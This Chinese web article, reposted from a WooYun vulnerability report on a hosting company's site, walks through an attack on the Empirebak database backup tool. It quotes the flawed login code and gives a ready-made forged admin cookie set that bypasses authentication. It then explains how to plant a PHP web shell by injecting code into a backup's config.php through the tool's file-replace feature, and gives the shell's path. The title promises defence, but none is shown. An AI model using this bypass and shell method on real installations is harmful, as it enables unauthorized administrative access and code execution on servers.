新闻动态
新闻动态
NEWS INFORMATION

帝国备份王(Empirebak)万能cookie及拿shell方法与防御

发布日期:2021-12-21 11:05 | 文章来源:脚本之家
转自wooyun http://www.wooyun.org/bugs/wooyun-2014-078591
1.伪造cookie登录系统(其实这一步多余的,大多用户连密码都没改,都是默认的123456)

登录成功设置4个cookie,看代码

PHP Code复制内容到剪贴板
  1. functionlogin($lusername,$lpassword,$key,$lifetime=0){
  2. global$set_username,$set_password,$set_loginauth,$set_loginkey;
  3. if(emptyempty($lusername)||emptyempty($lpassword)){
  4. printerror("EmptyLoginUser","index.php");
  5. }
  6. //验证码
  7. if(!$set_loginkey)
  8. {
  9. if($key<>getcvar('checkkey')||emptyempty($key))
  10. {
  11. printerror("FailLoginKey","index.php");
  12. }
  13. }
  14. if(md5($lusername)<>md5($set_username)||md5($lpassword)<>$set_password)
  15. {
  16. printerror("ErrorUser","index.php");
  17. }
  18. //认证码
  19. if($set_loginauth&$set_loginauth!=$_POST['loginauth'])
  20. {
  21. printerror("ErrorLoginAuth","index.php");
  22. }
  23. $logintime=time();
  24. $rnd=make_password(12);//生成随机字符
  25. $s1=esetcookie("bakusername",$lusername,0);
  26. $s2=esetcookie("bakrnd",$rnd,0);//随机字符
  27. $s3=esetcookie("baklogintime",$logintime,0);
  28. Ebak_SCookieRnd($lusername,$rnd);//
  29. if(!$s1||!$s2)
  30. {
  31. printerror("NotOpenCookie","index.php");
  32. }
  33. printerror("LoginSuccess","admin.php");
  34. }

再看看make_password函数

PHP Code复制内容到剪贴板
  1. functionmake_password($pw_length){
  2. $low_ascii_bound=50;
  3. $upper_ascii_bound=122;
  4. $notuse=array(58,59,60,61,62,63,64,73,79,91,92,93,94,95,96,108,111);
  5. while($i<$pw_length)
  6. {
  7. mt_srand((double)microtime()*1000000);
  8. $randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
  9. if(!in_array($randnum,$notuse))
  10. {
  11. $password1=$password1.chr($randnum);
  12. $i++;
  13. }
  14. }
  15. return$password1;
  16. }

这个函数只是生成随机数,再看看Ebak_SCookieRnd函数

PHP Code复制内容到剪贴板
  1. functionEbak_SCookieRnd($username,$rnd){
  2. global$set_loginrnd;//$set_loginrnd为config.php里面的验证随机码
  3. $ckpass=md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-');//没有把密码加进去,于是漏洞产生了
  4. esetcookie("loginebakckpass",$ckpass,0);
  5. }

下面给出万能cookie(key:value):

XML/HTML Code复制内容到剪贴板
  1. ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6
  2. ebak_bakrnd:35y5cCnnA4Kh
  3. ebak_bakusername:admin
  4. ebak_baklogintime:4070883661

使用以上cookie即可直接访问admin.php

2.拿shell

后台参数设置一般都设置好了,如果不能连接数据库,可以在数据库设置里填个自己的远程数据库

备份数据,随便找个数据库备份,

然后到替换目录文件内容里,选择刚才备份的数据库,

将”$b_table=”

替换成

“phpinfo();

$b_table=”


这里shell的路径就是bdata/mysql_20141007221849/config.php

版权声明:本站文章来源标注为YINGSOO的内容版权均为本站所有,欢迎引用、转载,请保持原文完整并注明来源及原文链接。禁止复制或仿造本网站,禁止在非www.yingsoo.com所属的服务器上建立镜像,否则将依法追究法律责任。本站部分内容来源于网友推荐、互联网收集整理而来,仅供学习参考,不代表本站立场,如有内容涉嫌侵权,请联系alex-e#qq.com处理。

相关文章

实时开通

自选配置、实时开通

免备案

全球线路精选!

全天候客户服务

7x24全年不间断在线

专属顾问服务

1对1客户咨询顾问

在线
客服

在线客服:7*24小时在线

客服
热线

400-630-3752
7*24小时客服服务热线

关注
微信

关注官方微信
顶部